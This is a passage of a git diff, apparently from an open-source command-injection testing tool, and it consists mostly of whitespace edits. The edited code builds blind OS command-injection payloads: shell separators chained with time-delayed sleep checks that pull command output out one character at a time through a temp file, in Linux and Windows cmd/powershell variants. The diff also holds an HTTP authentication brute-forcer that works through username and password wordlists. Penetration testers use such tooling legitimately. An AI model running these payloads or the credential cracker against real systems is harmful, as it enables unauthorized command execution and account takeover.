Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -434,15 +434,15 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese check_start = 0 check_end = 0 check_start = time.time() - - output = [] + + output = [] percent = 0 sys.stdout.flush() is_valid = False for num_of_chars in range(1, int(num_of_chars)): for ascii_char in range(1, 9): - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(timesec * ".") # Get the execution ouput, of shell execution. if alter_shell: @@ -452,7 +452,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) + payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) @@ -462,7 +462,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") + payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag @@ -484,7 +484,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese # Check if defined custom header with "INJECT_HERE" tag elif settings.CUSTOM_HEADER_INJECTION: how_long = custom_header_injection_test(url, vuln_parameter, payload) - + else: how_long = examine_requests(payload, vuln_parameter, http_request_method, url, timesec, url_time_response) @@ -492,7 +492,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese output.append(ascii_char) is_valid = True break - + if is_valid: break @@ -501,7 +501,7 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese output = "".join(str(p) for p in output) if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 0: + if settings.VERBOSITY_LEVEL == 0: sys.stdout.write(" (done)") return how_long, output else: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 28be4164dc..abcf884083 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -80,12 +80,12 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): elif separator == "||" : pipe = "|" payload = (pipe + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '\\n'" + + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + + "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + + pipe + "tr -d '\\n'" + pipe + "wc -c) ] " + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -116,7 +116,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) - else: + else: if separator == ";" or separator == "%0a" : payload = (separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + @@ -149,7 +149,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque # Find the length of the output, using readline(). "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " - ) + ) else: pass @@ -161,7 +161,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque payload = payload.replace("\n", ";") else: if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") + payload = payload.replace("\n","%0d") return payload """ @@ -173,7 +173,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + + cmd + "\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe + "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" @@ -183,14 +183,14 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth pipe + "for /f \"tokens=*\" %x in ('cmd /c \"" + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + - "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c \"" + - cmd + + cmd + "\"') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand + "for /f \"tokens=*\" %y in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" @@ -200,7 +200,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth ampersand + "for /f \"tokens=*\" %x in ('cmd /c \"" + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE + - "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" + "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'" ) else: @@ -238,21 +238,21 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth "sleep " + str(timesec) + separator + # Transform to ASCII "str1=$(od -A n -t d1<" + OUTPUT_TEXTFILE + ")" + separator + - "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "echo $str1" + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE ) #if menu.options.data: separator = _urllib.parse.unquote(separator) - - elif separator == "||" : + + elif separator == "||" : pipe = "|" cmd = cmd.rstrip() cmd = checks.add_command_substitution(cmd) payload = (pipe + - cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + - "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + pipe + + "[ " + str(j) + " -ne $(cat " + OUTPUT_TEXTFILE + pipe + "tr -d '\\n'" + pipe + "wc -c) ]" + separator + "sleep " + str(timesec) - ) + ) else: pass @@ -268,7 +268,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + @@ -280,14 +280,14 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ ampersand = _urllib.parse.quote("&") payload = (ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + - cmd + + cmd + "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) - else: + else: if separator == ";" or separator == "%0a" : payload = (separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + @@ -311,15 +311,15 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: - separator = _urllib.parse.unquote(separator) + separator = _urllib.parse.unquote(separator) - elif separator == "||" : + elif separator == "||" : pipe = "|" payload = (pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.SINGLE_WHITESPACE + "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" - ) + ) else: pass @@ -381,15 +381,15 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http ) #if menu.options.data: separator = _urllib.parse.unquote(separator) - + elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + - pipe + "tr -d '\\n'" + - pipe + "cut -c " + str(num_of_chars) + - pipe + "od -N 1 -i" + - pipe + "head -1" + + "[ " + str(ascii_char) + " -ne $(cat " + OUTPUT_TEXTFILE + + pipe + "tr -d '\\n'" + + pipe + "cut -c " + str(num_of_chars) + + pipe + "od -N 1 -i" + + pipe + "head -1" + pipe + "awk '{print$2}') ] " + separator + "sleep " + str(timesec) ) @@ -415,13 +415,13 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in ('cmd /c " + + payload = (ampersand + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) - else: + else: if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator + @@ -472,21 +472,21 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + + payload = (ampersand + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " - "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + + "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE + "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\"" ) - else: + else: if separator == ";" or separator == "%0a" : payload = (separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + @@ -507,7 +507,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth ) #if menu.options.data: separator = _urllib.parse.unquote(separator) - + elif separator == "||" : pipe = "|" payload = (pipe + @@ -517,7 +517,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth else: pass - + return payload """ @@ -537,13 +537,13 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, elif separator == "&&" : separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") - payload = (ampersand + - "for /f \"tokens=*\" %i in ('cmd /c " + + payload = (ampersand + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE + "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(2 * timesec + 1) + ")\"" ) - else: + else: if separator == ";" or separator == "%0a" : payload = (separator + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator + @@ -584,5 +584,5 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, if settings.TARGET_OS != settings.OS.WINDOWS: payload = payload.replace("\n","%0d") return payload - + # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index 56c902ab15..b836223a8e 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -83,13 +83,13 @@ def user_agent_header(): raise SystemExit() else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Fetching random HTTP User-Agent header. " + debug_msg = "Fetching random HTTP User-Agent header. " print(settings.print_debug_msg(debug_msg)) else: pass try: menu.options.agent = random.choice(settings.USER_AGENT_LIST) - info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." + info_msg = "The fetched random HTTP User-Agent header value is '" + menu.options.agent + "'." print(settings.print_info_msg(info_msg)) except: print(settings.SINGLE_WHITESPACE) @@ -113,7 +113,7 @@ def examine_request(request, url): # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: return proxy.use_proxy(request) - # Check if defined Tor (--tor option). + # Check if defined Tor (--tor option). elif menu.options.tor: return tor.use_tor(request) else: @@ -313,7 +313,7 @@ def main(filename, url): if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ menu.options.test_parameter != None: checks.check_injection_level() - + # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) @@ -357,11 +357,11 @@ def main(filename, url): if menu.options.ignore_session: # Ignore session - session_handler.ignore(url) + session_handler.ignore(url) # Check provided parameters for tests checks.check_provided_parameters() - + # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel @@ -382,7 +382,7 @@ def main(filename, url): menu.options.tech = ''.join(menu.options.tech) else: if not menu.options.tech: - menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) + menu.options.tech = ''.join([str(x) for x in settings.AVAILABLE_TECHNIQUES]) else: settings.USER_SUPPLIED_TECHNIQUE = True @@ -421,18 +421,18 @@ def main(filename, url): for j in range(0,len(split_first_letter)): if split_first_letter[j] in settings.AVAILABLE_TECHNIQUES: found_tech = True - else: - found_tech = False - + else: + found_tech = False + if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: - err_msg = "You specified wrong value '" + split_techniques_names[i] + err_msg = "You specified wrong value '" + split_techniques_names[i] err_msg += "' as injection technique. " err_msg += "The value for option '" if not settings.SKIP_TECHNIQUES : err_msg += "--technique" else: - err_msg += "--skip-technique" + err_msg += "--skip-technique" err_msg += "' must be a string composed by the letters " err_msg += ', '.join(settings.AVAILABLE_TECHNIQUES).upper() err_msg += ". Refer to the official wiki for details." @@ -455,7 +455,7 @@ def main(filename, url): err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print(settings.print_critical_msg(err_msg)) raise SystemExit() - + # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_type: @@ -508,7 +508,7 @@ def main(filename, url): # Define Python working directory. checks.define_py_working_dir() # Check for wrong flags. - checks.check_wrong_flags() + checks.check_wrong_flags() else: found_os_server = checks.user_defined_os() except (KeyError, AttributeError): @@ -517,7 +517,7 @@ def main(filename, url): if menu.options.tamper: settings.USER_SUPPLIED_TAMPER = menu.options.tamper # checks.tamper_scripts(stored_tamper_scripts=False) - + except AttributeError: pass @@ -540,7 +540,7 @@ def main(filename, url): err_msg = "The target host is not responding." err_msg += " Please ensure that is up and try again." print("\n" + settings.print_critical_msg(err_msg)) - logs.print_logs_notification(filename, url) + logs.print_logs_notification(filename, url) try: filename = "" @@ -571,7 +571,7 @@ def main(filename, url): err_msg += "must be an integer value from range [0, 4]." print(settings.print_critical_msg(err_msg)) raise SystemExit() - else: + else: settings.VERBOSITY_LEVEL = menu.options.verbose if menu.options.smoke_test: @@ -596,12 +596,12 @@ def main(filename, url): # Check if defined "--ignore-dependencies" option. if not menu.options.ignore_dependencies: checks.third_party_dependencies() - - # Check if defined "--update" option. + + # Check if defined "--update" option. if menu.options.update: update.updater() - - # Check if defined "--install" option. + + # Check if defined "--install" option. if menu.options.install: install.installer() raise SystemExit() @@ -660,25 +660,25 @@ def main(filename, url): raise SystemExit() if menu.options.failed_tries == 0: - err_msg = "You must specify '--failed-tries' value, greater than zero." + err_msg = "You must specify '--failed-tries' value, greater than zero." print(settings.print_critical_msg(err_msg)) raise SystemExit() # Check if defined "--auth-cred" and/or '--auth-type'. if (menu.options.auth_type and not menu.options.auth_cred) or (menu.options.auth_cred and not menu.options.auth_type): - err_msg = "You must specify both '--auth-cred' and '--auth-type' options." + err_msg = "You must specify both '--auth-cred' and '--auth-type' options." print(settings.print_critical_msg(err_msg)) raise SystemExit() if menu.options.auth_cred and menu.options.auth_type: if menu.options.auth_type.lower() in (settings.AUTH_TYPE.BASIC, settings.AUTH_TYPE.DIGEST) and not re.search(settings.AUTH_CRED_REGEX, menu.options.auth_cred): - error_msg = "HTTP " + str(menu.options.auth_type) + error_msg = "HTTP " + str(menu.options.auth_type) error_msg += " authentication credentials value must be in format 'username:password'." print(settings.print_critical_msg(error_msg)) raise SystemExit() if menu.options.requestfile and menu.options.url: - err_msg = "The '-r' option is incompatible with option '-u' ('--url')." + err_msg = "The '-r' option is incompatible with option '-u' ('--url')." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -686,7 +686,7 @@ def main(filename, url): if menu.options.os: checks.user_defined_os() - # Check if defined "--check-tor" option. + # Check if defined "--check-tor" option. if menu.options.tor_check and not menu.options.tor: err_msg = "The '--check-tor' swich requires usage of '--tor' switch." print(settings.print_critical_msg(err_msg)) @@ -741,13 +741,13 @@ def main(filename, url): settings.TIMESEC = 10 warn_msg = "Increasing default value for option '--time-sec' to" warn_msg += " " + str(settings.TIMESEC) + ", because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) # Local IP address if not menu.options.offline: settings.LOCAL_HTTP_IP = simple_http_server.grab_ip_addr() else: - settings.LOCAL_HTTP_IP = None + settings.LOCAL_HTTP_IP = None if menu.options.sitemap_url: settings.SITEMAP_CHECK = True @@ -783,7 +783,7 @@ def main(filename, url): if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: settings.USER_SUPPLIED_LEVEL = menu.options.level - + # Define the local path where Metasploit Framework is installed. if menu.options.msf_path: settings.METASPLOIT_PATH = menu.options.msf_path @@ -806,7 +806,7 @@ def main(filename, url): # Check if option is "--url" for single url test. if menu.options.sitemap_url: url = menu.options.sitemap_url - else: + else: url = menu.options.url if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: @@ -844,7 +844,7 @@ def main(filename, url): print(settings.SINGLE_WHITESPACE) with open(menu.options.bulkfile) as f: bulkfile = [url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE)).strip() for url in f] - + # Check if option "--crawl" is enabled. if settings.CRAWLING: settings.CRAWLING_PHASE = True @@ -899,19 +899,19 @@ def main(filename, url): elif skip_host in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(skip_host) + common.invalid_option(skip_host) pass if settings.SKIP_VULNERABLE_HOST: url_num += 1 info_msg = "Skipping URL '" + url + "' (" + str(url_num) + "/" + str(len(clean_output_href)) + ")." - print(settings.print_info_msg(info_msg)) + print(settings.print_info_msg(info_msg)) if not check_for_injected_url(url) or settings.SKIP_VULNERABLE_HOST is False: if not check_for_injected_url(url): settings.SKIP_VULNERABLE_HOST = None http_request_method = checks.check_http_method(url) - if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: + if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url) or menu.options.shellshock) or settings.MULTI_TARGETS: url_num += 1 perform_check = True while True: @@ -929,7 +929,7 @@ def main(filename, url): elif next_url in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(next_url) + common.invalid_option(next_url) pass if perform_check: if os_checks_num == 0: @@ -946,7 +946,7 @@ def main(filename, url): filename = logs.logs_filename_creation(url) main(filename, url) except: - pass + pass else: url_num += 1 print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] Skipping URL - " + url)) @@ -962,7 +962,7 @@ def main(filename, url): print(settings.print_abort_msg(abort_msg)) raise SystemExit() -except SystemExit: +except SystemExit: raise SystemExit() except EOFError: diff --git a/src/core/modules/modules_handler.py b/src/core/modules/modules_handler.py index ed8e5536a8..58b4336bb8 100644 --- a/src/core/modules/modules_handler.py +++ b/src/core/modules/modules_handler.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -34,5 +34,5 @@ def load_modules(url, http_request_method, filename): shellshock.shellshock_handler(url, http_request_method, filename) except ImportError as err_msg: print("\n" + settings.print_critical_msg(err_msg)) - raise SystemExit() - raise SystemExit() \ No newline at end of file + raise SystemExit() + raise SystemExit() \ No newline at end of file diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 052d27c3e6..04670565a0 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -52,7 +52,7 @@ def authentication_process(): if len(cookies) != 0 : menu.options.cookie = cookies.rstrip() if settings.VERBOSITY_LEVEL != 0: - info_msg = "The received cookie is " + info_msg = "The received cookie is " info_msg += str(menu.options.cookie) + Style.RESET_ALL + "." print(settings.print_bold_info_msg(info_msg)) _urllib.request.install_opener(opener) @@ -61,12 +61,12 @@ def authentication_process(): headers.do_check(request) # Get the response of the request. return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - + except Exception as err_msg: checks.connection_exceptions(err_msg) """ -Define the HTTP authentication +Define the HTTP authentication wordlists for usernames / passwords. """ def define_wordlists(): @@ -89,7 +89,7 @@ def define_wordlists(): elif do_update in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(do_update) + common.invalid_option(do_update) pass try: @@ -100,16 +100,16 @@ def define_wordlists(): if not os.path.isfile(username_txt_file): err_msg = "The specified file '" + str(username_txt_file) + "' does not exist." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() if len(username_txt_file) == 0: err_msg = "The specified file '" + str(username_txt_file) + "' seems empty." print(settings.print_critical_msg(err_msg)) raise SystemExit() - with open(username_txt_file, "r") as f: + with open(username_txt_file, "r") as f: for line in f: line = line.strip() usernames.append(line) - except IOError: + except IOError: err_msg = " Check if file '" + str(username_txt_file) + "' is readable or corrupted." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -122,16 +122,16 @@ def define_wordlists(): if not os.path.isfile(passwords_txt_file): err_msg = "The specified file '" + str(passwords_txt_file) + "' does not exist." print(settings.print_critical_msg(err_msg)) - raise SystemExit() + raise SystemExit() if len(passwords_txt_file) == 0: err_msg = "The specified file '" + str(passwords_txt_file) + "' seems empty." print(settings.print_critical_msg(err_msg)) - raise SystemExit() - with open(passwords_txt_file, "r") as f: + raise SystemExit() + with open(passwords_txt_file, "r") as f: for line in f: line = line.strip() passwords.append(line) - except IOError: + except IOError: err_msg = " Check if file '" + str(passwords_txt_file) + "' is readable or corrupted." print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -147,9 +147,9 @@ def http_auth_cracker(url, realm): authentication_type = menu.options.auth_type # Define the authentication wordlists for usernames / passwords. usernames, passwords = define_wordlists() - i = 1 + i = 1 found = False - total = len(usernames) * len(passwords) + total = len(usernames) * len(passwords) for username in usernames: for password in passwords: float_percent = "{0:.1f}%".format(round(((i*100)/(total*1.0)),2)) @@ -162,10 +162,10 @@ def http_auth_cracker(url, realm): sys.stdout.write("\r" + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10) sys.stdout.flush() try: - # Basic authentication + # Basic authentication if authentication_type.lower() == settings.AUTH_TYPE.BASIC: authhandler = _urllib.request.HTTPBasicAuthHandler() - # Digest authentication + # Digest authentication elif authentication_type.lower() == settings.AUTH_TYPE.DIGEST: authhandler = _urllib.request.HTTPDigestAuthHandler() authhandler.add_password(realm, url, username, password) @@ -177,16 +177,16 @@ def http_auth_cracker(url, realm): # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.use_proxy(request) - # Check if defined Tor (--tor option). + # Check if defined Tor (--tor option). elif menu.options.tor: tor.use_tor(request) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) # Store valid results to session - admin_panel = url + admin_panel = url session_handler.import_valid_credentials(url, authentication_type, admin_panel, username, password) found = True except KeyboardInterrupt : - raise + raise except (_urllib.error.HTTPError, _urllib.error.URLError): pass if found: @@ -196,11 +196,11 @@ def http_auth_cracker(url, realm): if str(float_percent) == "100.0%": if settings.VERBOSITY_LEVEL == 0: float_percent = settings.FAIL_STATUS - else: + else: i = i + 1 float_percent = ".. (" + float_percent + ")" if settings.VERBOSITY_LEVEL == 0: - info_msg = "Checking for valid pair of HTTP authentication credentials." + info_msg = "Checking for valid pair of HTTP authentication credentials." info_msg += float_percent sys.stdout.write("\r\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -208,16 +208,16 @@ def http_auth_cracker(url, realm): valid_pair = "" + username + ":" + password + "" if not settings.VERBOSITY_LEVEL >= 2: print(settings.SINGLE_WHITESPACE) - info_msg = "Identified valid pair of HTTP authentication credentials: '" - info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." + info_msg = "Identified valid pair of HTTP authentication credentials: '" + info_msg += valid_pair + Style.RESET_ALL + Style.BRIGHT + "'." print(settings.print_bold_info_msg(info_msg)) return valid_pair - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - err_msg += "or place an other dictionary into '" + err_msg = "Use the '--auth-cred' option to provide a valid pair of " + err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " + err_msg += "or place an other dictionary into '" err_msg += os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/' directory." - print("\n" + settings.print_critical_msg(err_msg)) - return False + print("\n" + settings.print_critical_msg(err_msg)) + return False # eof \ No newline at end of file diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index d9c5f62a0b..10e9e853b8 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -30,7 +30,7 @@ import base64 try: from base64 import encodebytes -except ImportError: +except ImportError: from base64 import encodestring as encodebytes import socket from socket import error as SocketError @@ -61,7 +61,7 @@ def http_response_content(content): def http_response(headers, code): response_http_headers = str(headers).split("\n") for header in response_http_headers: - if len(header) > 1: + if len(header) > 1: if settings.VERBOSITY_LEVEL >= 3: print(settings.print_traffic(header)) if menu.options.traffic_file: @@ -156,7 +156,7 @@ def https_open(self, req): _ = False response = False unauthorized = False - while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: + while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: if settings.MULTI_TARGETS: if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: settings.MULTI_ENCODED_PAYLOAD = [] @@ -175,12 +175,12 @@ def https_open(self, req): except ValueError as err: if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) - err_msg = "Invalid target URL has been given." + 